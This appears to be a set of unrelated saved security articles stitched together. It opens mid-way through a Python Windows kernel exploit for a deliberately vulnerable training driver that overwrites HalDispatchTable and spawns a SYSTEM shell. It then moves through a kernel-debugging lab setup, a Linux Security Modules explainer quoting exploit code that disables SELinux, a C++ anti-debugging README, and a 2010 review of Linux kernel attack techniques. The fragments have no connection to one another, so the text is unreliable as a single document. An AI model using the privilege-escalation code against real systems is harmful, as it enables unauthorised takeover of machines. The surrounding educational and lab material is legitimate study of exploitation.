hal4 = hal\_address + 0x4 print "\[+\] HalDispatchTable : \{0\}".format\(hex\(hal\_address\)\) print "\[+\] HalDispatchTable+0x4: \{0\}".format\(hex\(hal4\)\) \#What-Where www = WriteWhatWhere\(\) www.What = shellcode\_final\_address www.Where = hal4 www\_pointer = pointer\(www\) print "\[+\] What : \{0\}".format\(hex\(www.What\)\) print "\[+\] Where: \{0\}".format\(hex\(www.Where\)\) hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle" sys.exit\(-1\) kernel32.DeviceIoControl\(hevDevice, 0x0022200B, www\_pointer, 0x8, None, 0, byref\(c\_ulong\(\)\), None\) \#Calling the NtQueryIntervalProfile function, executing our shellcode ntdll.NtQueryIntervalProfile\(0x1337, byref\(c\_ulong\(\)\)\) print "\[+\] nt authority\system shell incoming" Popen\("start cmd", shell=True\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
Run this, and enjoy a freshly brewed _nt authority\system_ shell:

<img src='img/arb5.png' width='446' height='146' /> <img src='img/arb6.png'
width='1167' height='438' />

Posted in Kernel, TutorialTagged Buffer Overflow, Exploitation, Kernel,
Tutorial, Windows

  

# Starting with Windows Kernel Exploitation – part 1 – setting up the lab

**Created:**| _5/31/2017 6:08:13 PM_  
---|---  
**Updated:**| _5/31/2017 6:08:13 PM_  
**Author:**| __  
**Tags:**| _windows kernel_  
  

  

## Starting with Windows Kernel Exploitation – part 1 – setting up the lab

Posted on May 28, 2017 by hasherezade

_Recently I started learning Windows Kernel Exploitation, so I decided to
share some of my notes in form of a blog._

_This part will be about setting up the lab. In further parts I am planning to
describe how to do some of the exercises fromHackSysExtremeVulnerableDriver by
Ashfaq Ansari. _

_I hope someone will find this useful\!_

What I use for this part:

  * Kali Linux – as a host system \(you can use anything you like\)
  * VirtualBox
  * 2 Virtual Machines: Windows 7 32 bit – one for will be used as a Debugger and another as a Debugee
  * WinDbg \(you can find it in Windows SDK\)

When we do userland debugging, we can have a debugger and a debuggee on the
same machine. In case of kernel debugging it is no longer possible – we need a
full control over the debugee operating system. Also, when we will interrupt
the execution, full operating system will freeze. That’s why we need two
virtual machines with separate roles.

### Setting up the Debugger

Debugger is the machine form where we will be watching the Debugee. That’s
why, we need to install WinDbg there, along with symbols, that will allow us
to interpret system structures.

In order to install WinDbg we need to download Windows SDK \(depending on the
version of Windows, sometimes we will also need to install some required
updates\).

It is important to choose Debugging Tools from the installer options:

<img src='img/install.png' width='640' height='468' alt='install.png' />

Once we have WinDbg installed. we should add Symbols. In order to do this, we
just need to add an environment variable, to which WinDbg will automatically
refer:

[code]

    _NT_SYMBOL_PATH
    
[/code]

… and fill it with the link from where it can download symbols.

[code]

    https://msdl.microsoft.com/download/symbols
    
[/code]

Full variable content may look like this \(downloaded symbols will be stored
in C:\Symbols\):

[code]

    SRV*C:\Symbols*https://msdl.microsoft.com/download/symbols
    
[/code]

Degugger - adding the symbols

### Setting up the Debugee

We need to enable Debugee to let it be controlled from outside. In order to do
this, we are adding one more option in a boot menu – if we start the machine
with this configuration, it is enabled for debugging.  
We need to use a tool bcdedit. First we copy the current settings into a new
entry, titled i.e. “Debug me”:

[code]

    bcdedit /copy {current} /d "Debug me"
    
[/code]

It gives us in return a GUID of the new entry. We need to copy it and use to
enable debugging on this entry:

[code]

    bcdedit /debug {MY_GUID} on
    
[/code]

At the end we can see the settings where the debugging interface will be
available:

[code]

    bcdedit /dbgsettings
    
[/code]

Debugee - bcdedit

### Setting up the connection between the Debugger and the Debuggee

Debugger and Debugge will be communicating via Serial Port COM1, that will be
emulated in the host system by a Named Pipe. It is very simple to configure,
we just have to make sure that the debugger and the debuggee have the same
pipe name set. Debugger will be creating the pipe, while the Debuggee will be
connecting to the existing one \(that’s why we always have to run Debugger
first\):

make pipe

I use Linux as my host system, so I chose as a pipe name:

[code]

    /tmp/wke_pipe
    
[/code]

Note that if you are using Windows as your host system, your pipe name will
have to follow different convention. Example:

[code]

    \\.\pipe\wke_pipe
    
[/code]

Read more: https://en.wikipedia.org/wiki/Named\_pipe

### Testing the connection

We have everything set up, now we just need to test if it works correctly\!
Let’s start the Debugger first, run WinDbg, and make it wait for the
connection from the Debugee. Example:

File->Kernel Debug

<img src='img/file_kd.png' width='292' height='236' alt='file_kd' />

We are choosing COM as an interface:

<img src='img/kernel_debugging.png' width='409' height='295'
alt='kernel_debugging' />

Then we will run the Debugee machine, and when we see that it got connected to
the pipe, we will send it interrupt. Example:

The Debugee is connected to the pipe:

<img src='img/connected_to_pipe.png' width='640' height='367'
alt='connected_to_pipe.png' />

Now we can interrupt it, clicking Debug->Break:

<img src='img/debug_break.png' width='317' height='181' alt='debug_break' />

If we get the **kd** prompt, it means we are in control of the Debugee:

<img src='img/kd_prompt.png' width='640' height='289' alt='kd_prompt.png' />

See the full process on the video:

Testing connection

The Debugee frozen, waiting for the instructions form the Debugger. By a ‘g’
command we can release the Debugee and let it run further:

<img src='img/run_further.png' width='337' height='103' alt='run_further' />

Advertisements

### Share this:

  * Twitter
  * Facebook
  * 

 Like

  * <img src='img/0c762d486f5ed7615148f7dd5e42fbe3.png' width='30' height='30' alt='Assistenza Computer and Consulting' />

One blogger likes this.

### _Related_

How to turn a DLL into a standalone EXEIn "Malware"

Hijacking extensions handlers as a malware persistence methodIn "Malware"

Introduction to ADS - Alternate Data StreamsIn "Malware"

<img src='img/c6762d36ab89eb4f376f18b09a964a38.png' width='60' height='60' />

## About hasherezade

Programmer and researcher, interested in InfoSec.

View all posts by hasherezade →

This entry was posted in Tutorial. Bookmark the permalink.

  

# Introduction to Linux Security Modules \(LSM\) « xorl %eax, %eax

**Created:**| _1/1/2011 10:44:29 AM_  
---|---  
**Updated:**| _1/1/2011 10:45:21 AM_  
**Author:**| __  
**Tags:**| _security Linux kernel_  
  

## Introduction to Linux Security Modules \(LSM\)

with 2 comments

In this post I’ll give a brief explanation of how “Linux Security Modules”
feature is implemented in the kernel. First of all this is a clever
abstraction layer which allows different security modules to be safely loaded
and unloaded without messing with the kernel’s code directly.  
The code snippets were taken from 2.6.36 release of the Linux kernel. However,
the original implementation was developed in 2001.

**Hooking and Capabilities**  
A look in include/linux/security.h reveals a huge structure of function
pointers. A snippet of that structure is shown below.

`01` | `struct` `security_operations {`  
---|---  
`02` | ` ``char` `name[SECURITY_NAME_MAX + 1];`  
---|---  
`03` |   
---|---  
`04` | ` ``int` `(*ptrace_access_check) (``struct` `task_struct *child, unsigned ``int` `mode);`  
---|---  
`05` | ` ``int` `(*ptrace_traceme) (``struct` `task_struct *parent);`  
---|---  
`06` | ` ``int` `(*capget) (``struct` `task_struct *target,`  
---|---  
`07` | ` ``kernel_cap_t *effective,`  
---|---  
`08` | ` ``kernel_cap_t *inheritable, kernel_cap_t *permitted);`  
---|---  
`09` | ` ``int` `(*capset) (``struct` `cred *``new``,`  
---|---  
`10` | ` ``const` `struct` `cred *old,`  
---|---  
`11` | ` ``const` `kernel_cap_t *effective,`  
---|---  
`12` | ` ``const` `kernel_cap_t *inheritable,`  
---|---  
`13` | ` ``const` `kernel_cap_t *permitted);`  
---|---  
`14` | ` ``int` `(*capable) (``struct` `task_struct *tsk, ``const` `struct` `cred *cred,`  
---|---  
`15` | ` ``int` `cap, ``int` `audit);`  
---|---  
`16` | ` ``int` `(*sysctl) (``struct` `ctl_table *table, ``int` `op);`  
---|---  
`17` | ` ``...`  
---|---  
`18` | ` ``int` `(*audit_rule_match) (u32 secid, u32 field, u32 op, ``void` `*lsmrule,`  
---|---  
`19` | ` ``struct` `audit_context *actx);`  
---|---  
`20` | ` ``void` `(*audit_rule_free) (``void` `*lsmrule);`  
---|---  
`21` | `#endif /* CONFIG_AUDIT */`  
---|---  
`22` | `};`  
---|---  
These are predefined and documented callback functions that a security module
can utilize to perform some security task in the specified function. The
security header file then defines a series of security operations functions
which by default do nothing at all in most cases. Here is an example snippet
of these definitions.

`01` | `/*`  
---|---  
`02` | ` ``* This is the default capabilities functionality. Most of these functions`  
---|---  
`03` | ` ``* are just stubbed out, but a few must call the proper capable code.`  
---|---  
`04` | ` ``*/`  
---|---  
`05` |   
---|---  
`06` | `static` `inline` `int` `security_init(``void``)`  
---|---  
`07` | `{`  
---|---  
`08` | ` ``return` `0;`  
---|---  
`09` | `}`  
---|---  
`10` |   
---|---  
`11` | `static` `inline` `int` `security_ptrace_access_check(``struct` `task_struct *child,`  
---|---  
`12` | ` ``unsigned ``int` `mode)`  
---|---  
`13` | `{`  
---|---  
`14` | ` ``return` `cap_ptrace_access_check(child, mode);`  
---|---  
`15` | `}`  
---|---  
As you can see, some of the defined security operations will use the POSIX
capabilities checks such as the security\_ptrace\_access\_check\(\) which is
used in kernel/ptrace.c code like this:

`1` | `int` `__ptrace_may_access(``struct` `task_struct *task, unsigned ``int` `mode)`  
---|---  
`2` | `{`  
---|---  
`3` | ` ``const` `struct` `cred *cred = current_cred(), *tcred;`  
---|---  
`4` | ` ``...`  
---|---  
`5` | ` ``return` `security_ptrace_access_check(task, mode);`  
---|---  
`6` | `}`  
---|---  
And the capability routine is placed in security/commoncap.c \(that stands for
“Common Capabilities”\). It’s nothing more than a simple capability check
which uses RCU locking.

`01` | `/**`  
---|---  
`02` | ` ``* cap_ptrace_access_check - Determine whether the current process may access`  
---|---  
`03` | ` ``* another`  
---|---  
`04` | ` ``* @child: The process to be accessed`  
---|---  
`05` | ` ``* @mode: The mode of attachment.`  
---|---  
`06` | ` ``*`  
---|---  
`07` | ` ``* Determine whether a process may access another, returning 0 if permission`  
---|---  
`08` | ` ``* granted, -ve if denied.`  
---|---  
`09` | ` ``*/`  
---|---  
`10` | `int` `cap_ptrace_access_check(``struct` `task_struct *child, unsigned ``int` `mode)`  
---|---  
`11` | `{`  
---|---  
`12` | ` ``int` `ret = 0;`  
---|---  
`13` |   
---|---  
`14` | ` ``rcu_read_lock();`  
---|---  
`15` | ` ``if` `(!cap_issubset(__task_cred(child)->cap_permitted,`  
---|---  
`16` | ` ``current_cred()->cap_permitted) &&`  
---|---  
`17` | ` ``!capable(CAP_SYS_PTRACE))`  
---|---  
`18` | ` ``ret = -EPERM;`  
---|---  
`19` | ` ``rcu_read_unlock();`  
---|---  
`20` | ` ``return` `ret;`  
---|---  
`21` | `}`  
---|---  
**LSM Framework Initialization**  
Now that you have a basic understanding of how LSMs such as SELinux, AppArmor,
Tomoyo etc. operate in order to hook to Linux kernel routines we can move to
the next topic. This means jumping to security/security.c file…  
By default, Linux kernel initializes LSM like this:

`01` | `/* Boot-time LSM user choice */`  
---|---  
`02` | `static` `__initdata ``char` `chosen_lsm[SECURITY_NAME_MAX + 1] =`  
---|---  
`03` | ` ``CONFIG_DEFAULT_SECURITY;`  
---|---  
`04` |   
---|---  
`05` | `/* things that live in capability.c */`  
---|---  
`06` | `extern` `void` `__init security_fixup_ops(``struct` `security_operations *ops);`  
---|---  
`07` |   
---|---  
`08` | `static` `struct` `security_operations *security_ops;`  
---|---  
`09` | `static` `struct` `security_operations default_security_ops = {`  
---|---  
`10` | ` ``.name = ``"default"``,`  
---|---  
`11` | `};`  
---|---  
The default security options include just the POSIX capabilities check as we
saw in the previous section. In include/linux/init.h header file we can find
two initialization callback functions that are normally used to define the
beginning and the end of a series of routines that the LSM needs to inialize
itself.

`1` | `/*`  
---|---  
`2` | ` ``* Used for initialization calls..`  
---|---  
`3` | ` ``*/`  
---|---  
`4` | `typedef` `int` `(*initcall_t)(``void``);`  
---|---  
`5` | `typedef` `void` `(*exitcall_t)(``void``);`  
---|---  
`6` | ` ``...`  
---|---  
`7` | `extern` `initcall_t __security_initcall_start[], __security_initcall_end[];`  
---|---  
Back to security/security.c there’s the actual security module initialization
function.

`01` | `/**`  
---|---  
`02` | ` ``* security_init - initializes the security framework`  
---|---  
`03` | ` ``*`  
---|---  
`04` | ` ``* This should be called early in the kernel initialization sequence.`  
---|---  
`05` | ` ``*/`  
---|---  
`06` | `int` `__init security_init(``void``)`  
---|---  
`07` | `{`  
---|---  
`08` | ` ``printk(KERN_INFO ``"Security Framework initialized\n"``);`  
---|---  
`09` |   
---|---  
`10` | ` ``security_fixup_ops(&default_security_ops);`  
---|---  
`11` | ` ``security_ops = &default_security_ops;`  
---|---  
`12` | ` ``do_security_initcalls();`  
---|---  
`13` |   
---|---  
`14` | ` ``return` `0;`  
---|---  
`15` | `}`  
---|---  
The first call leads to a security/capability.c function that initializes the
passed ‘security\_ops’ structure with the available routines as you can see in
the snippet here:

`01` | `#define set_to_cap_if_null(ops, function) \`  
---|---  
`02` | ` ``do` `{ \`  
---|---  
`03` | ` ``if` `(!ops->function) { \`  
---|---  
`04` | ` ``ops->function = cap_##function; \`  
---|---  
`05` | ` ``pr_debug(``"Had to override the "` `#function \`  
---|---  
`06` | ` ``" security operation with the default.\n"``);\`  
---|---  
`07` | ` ``} \`  
---|---  
`08` | ` ``} ``while` `(0)`  
---|---  
`09` |   
---|---  
`10` | `void` `__init security_fixup_ops(``struct` `security_operations *ops)`  
---|---  
`11` | `{`  
---|---  
`12` | ` ``set_to_cap_if_null(ops, ptrace_access_check);`  
---|---  
`13` | ` ``set_to_cap_if_null(ops, ptrace_traceme);`  
---|---  
`14` | ` ``set_to_cap_if_null(ops, capget);`  
---|---  
`15` | ` ``set_to_cap_if_null(ops, capset);`  
---|---  
`16` | ` ``...`  
---|---  
`17` | `}`  
---|---  
Then security\_init\(\) will update kernel’s ‘security\_ops’ structure with
the initialized one and make a call to do\_security\_initcalls\(\) which
basically nothing more than a loop that will call all of the functions defined
in the previously mentioned include/linux/init.h callbacks.

`1` | `static` `void` `__init do_security_initcalls(``void``)`  
---|---  
`2` | `{`  
---|---  
`3` | ` ``initcall_t *call;`  
---|---  
`4` | ` ``call = __security_initcall_start;`  
---|---  
`5` | ` ``while` `(call < __security_initcall_end) {`  
---|---  
`6` | ` ``(*call) ();`  
---|---  
`7` | ` ``call++;`  
---|---  
`8` | ` ``}`  
---|---  
`9` | `}`  
---|---  
Also, in security/security.c we can find the actual hooks that are performed
by default \(LSMs implement their own\). Here is a sample of that.

`1` | `int` `security_ptrace_access_check(``struct` `task_struct *child, unsigned ``int` `mode)`  
---|---  
`2` | `{`  
---|---  
`3` | ` ``return` `security_ops->ptrace_access_check(child, mode);`  
---|---  
`4` | `}`  
---|---  
`5` |   
---|---  
`6` | `int` `security_ptrace_traceme(``struct` `task_struct *parent)`  
---|---  
`7` | `{`  
---|---  
`8` | ` ``return` `security_ops->ptrace_traceme(parent);`  
---|---  
`9` | `}`  
---|---  
**Registration of an LSM**  
Knowing how LSM hooking and initialization work in general we can move to the
next step which is how a security framework is registered. The function to
this is this one:

`01` | `/**`  
---|---  
`02` | ` ``* register_security - registers a security framework with the kernel`  
---|---  
`03` | ` ``* @ops: a pointer to the struct security_options that is to be registered`  
---|---  
`04` | ` ``*`  
---|---  
`05` | ` ``* This function allows a security module to register itself with the`  
---|---  
`06` | ` ``* kernel security subsystem. Some rudimentary checking is done on the @ops`  
---|---  
`07` | ` ``* value passed to this function. You'll need to check first if your LSM`  
---|---  
`08` | ` ``* is allowed to register its @ops by calling security_module_enable(@ops).`  
---|---  
`09` | ` ``*`  
---|---  
`10` | ` ``* If there is already a security module registered with the kernel,`  
---|---  
`11` | ` ``* an error will be returned. Otherwise %0 is returned on success.`  
---|---  
`12` | ` ``*/`  
---|---  
`13` | `int` `__init register_security(``struct` `security_operations *ops)`  
---|---  
`14` | `{`  
---|---  
`15` | ` ``if` `(verify(ops)) {`  
---|---  
`16` | ` ``printk(KERN_DEBUG ``"%s could not verify "`  
---|---  
`17` | ` ``"security_operations structure.\n"``, __func__);`  
---|---  
`18` | ` ``return` `-EINVAL;`  
---|---  
`19` | ` ``}`  
---|---  
`20` |   
---|---  
`21` | ` ``if` `(security_ops != &default_security_ops)`  
---|---  
`22` | ` ``return` `-EAGAIN;`  
---|---  
`23` |   
---|---  
`24` | ` ``security_ops = ops;`  
---|---  
`25` |   
---|---  
`26` | ` ``return` `0;`  
---|---  
`27` | `}`  
---|---  
The code is very straightforward. It will check that the given structure isn’t
pointing to NULL using verify\(\) which is shown below. Then, before setting
the kernel’s ‘security\_ops’ to the LSM’s one it checks that the structure
passed to it is not the default one which is already being used.

`1` | `static` `inline` `int` `__init verify(``struct` `security_operations *ops)`  
---|---  
`2` | `{`  
---|---  
`3` | ` ``/* verify the security_operations structure exists */`  
---|---  
`4` | ` ``if` `(!ops)`  
---|---  
`5` | ` ``return` `-EINVAL;`  
---|---  
`6` | ` ``security_fixup_ops(ops);`  
---|---  
`7` | ` ``return` `0;`  
---|---  
`8` | `}`  
---|---  
**Load LSM on Boot**  
The LSM framework provide the feature of setting a module to be loaded at boot
time. This is done through another function of security/security.c which
updates the previously discussed kernel’s values to use the selected LSM
instead of the default one.

`01` | `/**`  
---|---  
`02` | ` ``* security_module_enable - Load given security module on boot ?`  
---|---  
`03` | ` ``* @ops: a pointer to the struct security_operations that is to be checked.`  
---|---  
`04` | ` ``*`  
---|---  
`05` | ` ``* Each LSM must pass this method before registering its own operations`  
---|---  
`06` | ` ``* to avoid security registration races. This method may also be used`  
---|---  
`07` | ` ``* to check if your LSM is currently loaded during kernel initialization.`  
---|---  
`08` | ` ``*`  
---|---  
`09` | ` ``* Return true if:`  
---|---  
`10` | ` ``* -The passed LSM is the one chosen by user at boot time,`  
---|---  
`11` | ` ``* -or the passed LSM is configured as the default and the user did not`  
---|---  
`12` | ` ``* choose an alternate LSM at boot time,`  
---|---  
`13` | ` ``* -or there is no default LSM set and the user didn't specify a`  
---|---  
`14` | ` ``* specific LSM and we're the first to ask for registration permission,`  
---|---  
`15` | ` ``* -or the passed LSM is currently loaded.`  
---|---  
`16` | ` ``* Otherwise, return false.`  
---|---  
`17` | ` ``*/`  
---|---  
`18` | `int` `__init security_module_enable(``struct` `security_operations *ops)`  
---|---  
`19` | `{`  
---|---  
`20` | ` ``if` `(!*chosen_lsm)`  
---|---  
`21` | ` ``strncpy``(chosen_lsm, ops->name, SECURITY_NAME_MAX);`  
---|---  
`22` | ` ``else` `if` `(``strncmp``(ops->name, chosen_lsm, SECURITY_NAME_MAX))`  
---|---  
`23` | ` ``return` `0;`  
---|---  
`24` |   
---|---  
`25` | ` ``return` `1;`  
---|---  
`26` | `}`  
---|---  
You can read the comment which is very informative and then you can see that
this is nothing more than copying the chosen one to the kernel’s ‘chosen\_lsm’
array shown earlier.

**Resetting LSM to default**  
Finally, we have probably the most useful task from an exploit developer’s
point of view. This is resetting the LSM framework back to its default. Inside
security/security.c the routine that does exactly this, is very simple…

`1` | `void` `reset_security_ops(``void``)`  
---|---  
`2` | `{`  
---|---  
`3` | ` ``security_ops = &default_security_ops;`  
---|---  
`4` | `}`  
---|---  
Since there is already public exploit code that does exactly this, I’ll write
about it too.  
  
What spender does in own\_the\_kernel\(\) to disable AppArmor and/or SELinux
is just what the above reset\_security\_ops\(\) function does.

`01` | ` ``security_ops = (unsigned ``long` `*)get_kernel_sym(``"security_ops"``);`  
---|---  
`02` | ` ``default_security_ops = get_kernel_sym(``"default_security_ops"``);`  
---|---  
`03` | ` ``sel_read_enforce = get_kernel_sym(``"sel_read_enforce"``);`  
---|---  
`04` | `...`  
---|---  
`05` | ` ``// disable SELinux`  
---|---  
`06` | ` ``if` `(selinux_enforcing && *selinux_enforcing) {`  
---|---  
`07` | ` ``what_we_do = 2;`  
---|---  
`08` | ` ``*selinux_enforcing = 0;`  
---|---  
`09` | ` ``}`  
---|---  
`10` |   
---|---  
`11` | ` ``if` `(!selinux_enabled || (selinux_enabled && *selinux_enabled == 0)) {`  
---|---  
`12` | ` ``// trash LSM`  
---|---  
`13` | ` ``if` `(default_security_ops && security_ops) {`  
---|---  
`14` | ` ``if` `(*security_ops != default_security_ops)`  
---|---  
`15` | ` ``what_we_do = 3;`  
---|---  
`16` | ` ``*security_ops = default_security_ops;`  
---|---  
`17` | ` ``}`  
---|---  
`18` | ` ``}`  
---|---  
He obtains the kernel symbols through either ‘/proc/kallsyms’ or ‘/proc/ksyms’
and then just changes them to the default ones. His exploit includes a feature
of making the system look like it’s set with SELinux on enforcing mode but
this is out of the scope of this post since it is SELinux specific.  
  
I intentionally omitted some details such as security\_initcall\(\) macro but
I’ll discuss it in more detail in future posts dealing with some popular LSMs
including SELinux, Tomoyo, SMACK and AppArmor. After all, this was just an
introduction.

# revsic/AntiDebugging

**Created:**| _6/29/2017 4:07:59 PM_  
---|---  
**Updated:**| _6/29/2017 4:07:59 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  README.md

# Anti Debugging

Anti debugging technique written in C++.

  * Anti Attach, Anti Anti Attach : AntiAttach.cpp, AntiAntiAttaching.cpp
  * Text Section Hashing : TextSectionHasher.cpp
  * VEH Checker, DR Register Resetter : VEH\_Checker.cpp, DR\_Register\_Resetter.cpp

## Anti Attach, Anti Anti Attach

Debugger attach process with ` DebugActiveProcess ` api.

[code]

    DebugActiveProcess(pid);
    
    DEBUG_EVENT dbgEvent;
    BOOL dbgContinue = True;
    
    while (dbgContinue) {
        if (FALSE == WaitForDebugEvent(&dbgEvent, 100)) {
            continue;
        }
    
        ...
    }
[/code]

` DebugActiveProcess ` creates a thread in debuggee. Then it calls `
DbgUiRemoteBreakin() ` to debug process.

[code]

    //AntiAttach
    __declspec(naked) void AntiAttach() {
        __asm {
    		jmp ExitProcess
    	}
    }
    
    //main
    HANDLE hProcess = GetCurrentProcess();
    
    HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
    FARPROC func_DbgUiRemoteBreakin = GetProcAddress(hMod, "DbgUiRemoteBreakin");
    
    WriteProcessMemory(hProcess, func_DbgUiRemoteBreakin, AntiAttach, 6, NULL);
[/code]

Anti-Attacher hooks ` DbgUiRemoteBreakin ` and redirects ` DbgUiRemoteBreakin
` to ` ExitProcess `. AntiAnti-Attacher releases the hooked function.

More details on blog

## Text Section Hashing

Debugger sets a software breakpoint by overwriting the ` int 3 ` instruction.

It hashes text section and periodically checks that the text section has
changed.

[code]

    while (1) {
    	Sleep(1000);
    
    	DWORD64 dwCurrentHash = HashSection(lpVirtualAddress, dwSizeOfRawData);
    	if (dwRealHash != dwCurrentHash) {
    		MessageBoxW(NULL, L"DebugAttached", L"WARN", MB_OK);
    		exit(1);
    	}
    
    	if (bTerminateThread) {
    		return;
    	}
    }
[/code]

## VEH Checker, DR Register Resetter

VEH Debugger use Vectored Exception Handler.

It checks the fourth bit ` ProcessUsingVEH ` of the PEB's `
CrossProcessFlags(+0x50) `. If ` ProcessUsingVEH ` bit is set, then VEH is
being used.

[code]

    NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &ReturnLength);
    PPEB pPEB = (PPEB)pbi.PebBaseAddress;
    
    SIZE_T Written;
    DWORD64 CrossProcessFlags = -1;
    ReadProcessMemory(hProcess, (PBYTE)pPEB + 0x50, (LPVOID)&CrossProcessFlags, sizeof(DWORD64), &Written);
    
    printf("[*] CrossProcessFlags : %p\n", CrossProcessFlags);
    if (CrossProcessFlags & 0x4) {
    	printf("[*] veh set\n");
    }
    else {
    	printf("[*] veh unset\n");
    }
[/code]

VEH Debugger usually uses Hardware breakpoint. Verify hardware bp is set

[code]

    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    
    CONTEXT ctx;
    memset(&ctx, 0, sizeof(CONTEXT));
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    
    ctx.Dr0 = 0;
    ctx.Dr1 = 0;
    ctx.Dr2 = 0;
    ctx.Dr3 = 0;
    ctx.Dr7 &= (0xffffffffffffffff ^ (0x1 | 0x4 | 0x10 | 0x40));
    
    SetThreadContext(hThread, &ctx);
    CloseHandle(hThread);
[/code]

  

# Just Another Geek: Linux Security, one year later...

**Created:**| _1/3/2011 10:01:23 PM_  
---|---  
**Updated:**| _1/3/2011 10:01:38 PM_  
**Author:**| __  
**Tags:**| _security Linux_  
  

### Linux Security, one year later...

This post aims to describe what happened in 2010 about GNU/Linux security.
What this post is not is a long list of vulnerabilities, there would be some
people doing it way better that me.

The first part of this post is dedicated to new vulnerability classes where
the second one focuses on the defensive side, analyzing improvements made to
the Linux kernel. Before closing this post, some selected quotes will be
presented, pointing the finger at some of the Linux failures.

This post being \(very\) long and being syndicated by a few "planets", I will
cut this post on my feed, even if I know that a lot of people dislikes this
behavior.

# Yang: New attacks, new vulnerability classes

Thanks to the generalization of userspace hardening in common Linux
distribution \(packages compiled with most of the protection options like
`stack-protector`, `PIE`, `FORTIFY_SOURCE` or the writing of SELinux rules\),
vulnerability researchers had to find a milder field : the kernel.

In 2009, Tavis Ormandy and Julien Tinnes made a lot of noise with their _NULL
pointer dereference_ vulnerabilities.  
Pro-active measures were developed to mitigate this kind of bug but the play
of the cat and mouse never stops to to bypass theses protections.

## Bypassing of `mmap_min_addr`

Let's remind that this protection consists of denying the allocation of memory
pages below a limit, called `mmap_min_addr` \(`/proc/sys/vm/mmap_min_addr`\).
Thus, it prevents an attacker to drop off his shellcode at address 0-or-
something and then triggering the NULL pointer dereference.

A lot of methods were found in 2009 to bypass this restriction, whereas this
year was less fruitful with two techniques:

  * **Bug \#1: Disabling frontier** : The kernel has to validate each user-provided pointer to check if it is coming from user or kernel space. This is done by `access_ok()` with a simple comparison of the address against a limit \(XXX\).  
Sometimes, the kernel needs to use function which are normally designed to be
called by userspace, and as such, theses functions checks the provenance of
the pointer... which is embarrassing because the kernel only provides kernel
pointers.  
So the kernel goes evil and cheats by manipulating the boundary via `set_fs()`
in order to make `access_ok()` always successful. At this moment and until the
kernel undoes its boundary manipulation, there is no protection against NULL
pointer dereference attack.  
Nelson Elhage found a brilliant way to get root: he triggers an assertion
failure \(via a `BUG()` or an `Oops`\) that makes the kernel terminating the
process with the `do_exit()` function. A Linux feature is to be able to notify
the parent when one of its thread dies, the notification mechanism is as
simple as writing a zero at a given address.  
Normally of course, this address is checked to be inside the parent address
space but if `do_exit()` was triggered in a context where the boundary was
faked, that means that `access_ok(ptr)` will always return true.  
This is what Nelson did by registering a pointer belonging to the kernel space
for the notification and then triggered a NULL pointer dereference in a
"temporary" context. Boom\!

  * **Bug \#2: Memory mapping** : Tavis Ormandy discovered that when a process was instantiated, a carefully home made ELF binary could make the VDSO page be mapped one page below `mmap_min_addr`. This is particularly interesting on _Red Hat Entreprise Linux_ ' kernel because it is configured with `mmap_min_addr` equals to 4096 \(`PAGE_SIZE`\).  
In other words, the VDSO page can be mapped on addresses 0 to 4096. In theory,
that means the VDSO page could be used to "bounce" from a NULL pointer
dereference. In practice now, Tavis said that it doesn't seem like doable but
better safe than sorry and the bug was fixed.

Then in the end of 2010, this was the rediscovery of the impact of
uninitialized variables, but in the kernel this time.

## Unitialized kernel variables

A typical vulnerable code looks like the following:

[code]

    struct { short a; char b; int c; } s;
    
    s.a = X;
    s.b = Y;
    s.c = Z;
    
    copy_to_user(to, &s, sizeof s);
    
    
[/code]

The problem here is that we don't pay attention to the _padding_ byte added by
the compiler between `.b` and `.c`. This is needed in order to align structure
members addresses on a CPU word.

The direct consequence in the kernel case is that `copy_to_user()` obviously
copies the structure as a whole and not "member by member", padding included.  
The user process can thus get the value of this uninitialized byte, which can
be totally useless, or as sensible as a key fragment.

### The obvious fix?

The fix seems relatively simple, by adding a `memset(&s, '\0', sizeof s)`,
initially. But this not that trivial because C99 says that the compiler is
free to optimize the following cases:

  * Consider the `memset()` as superfluous because each structure member is assigned later, and thus removing it.
  * Later, the padding byte can be overridden when `.b` is assigned. C99 does not protect this byte in any way so if the compiler can optimize its code by doing a `mov [ptr], eax` instead of `mov [ptr], ax`, he is free to do it.

Furthermore, this `memset-ification` can be troublesome in fast paths like in
the BPF filtering engine. netdev developers considered the array
initialization too expensive to be added \(even if this is as small as 16\*4
bytes\).  
Instead, they had to write a "BPF checker", validating the legitimacy of
instructions accessing the array.

### Impact of uninitialized variables

This kind of bug was already demonstrated dangerous in userland and this is
worse in kernel land\!  
However, motivating kernel developers to fix theses issues was not the easy
part for some of them. For instance, the netdev maintener scepticism lead Dan
Rosenberg to make a blistering answer with the publication of an exploit on
_full-disclosure_. A few days later, he admitted having published this exploit
because he was doubting about the impact of this particular vulnerability.

But this stays anecdotal \(isn't it?\) and kernel developers actively
contributed to fix dozens occurrences of this kind of bug.

### Kernel stack expansion

In 2005, Gaël Delalleau already discussed how it was interesting to make the
stack and the heap collide in user land. In November 2010, Nelson Elhage,
Ksplice founder, found a variant, but for the kernel this time.

The memory allocated to the kernel is minimal, a kernel task can not have more
than two physical pages for its local variables \(its stack\). But this is
merely a convention given there is no enforcement against abnormal expansion
like a guard page.  
Next to the task's stack \(so after the "two pages"\) is the location of its
`thread_info` structure, a critical element containing data and function's
pointers... which would be really interesting to overwrite\!  
To happen, you have to find a task where you can control his stack usage, like
an array where its size is somehow user controlled. Eventually, this expansion
will transcend the two-pages-limit and offer you a way to overwrite some
values in `thread_info` structure. A concrete exploitation of this flaw
overwrites one of the function's pointers to redirect to a shell code.

# Ying: New protections

## Bug fixes

This year will not be the one of the change of Linus mentality towards
security bugs but we catch up with it thanks to the efforts of security teams
of various Linux distributions \(Red hat, SuSe and Ubuntu mainly\).

It seems that they closely follow kernel mailing lists looking for sensible
commits with a security impact. For each report, a CVE number is assigned, the
kind of thing soooo useful for an admin because it permits some kind of
traceability and to know \(more or less\) how pierced our server is :\)  
Eugene Teo maintains an atypical git repository which tags every CVE. This is
particularly useful in audits for quickly identifying vulnerabilities
available for a given version. This is somewhat the _whitehat equivalent_ of
kernel exploit lists used by hackers.

## Proactive security

A lot of contributions were made to the kernel to improve its security
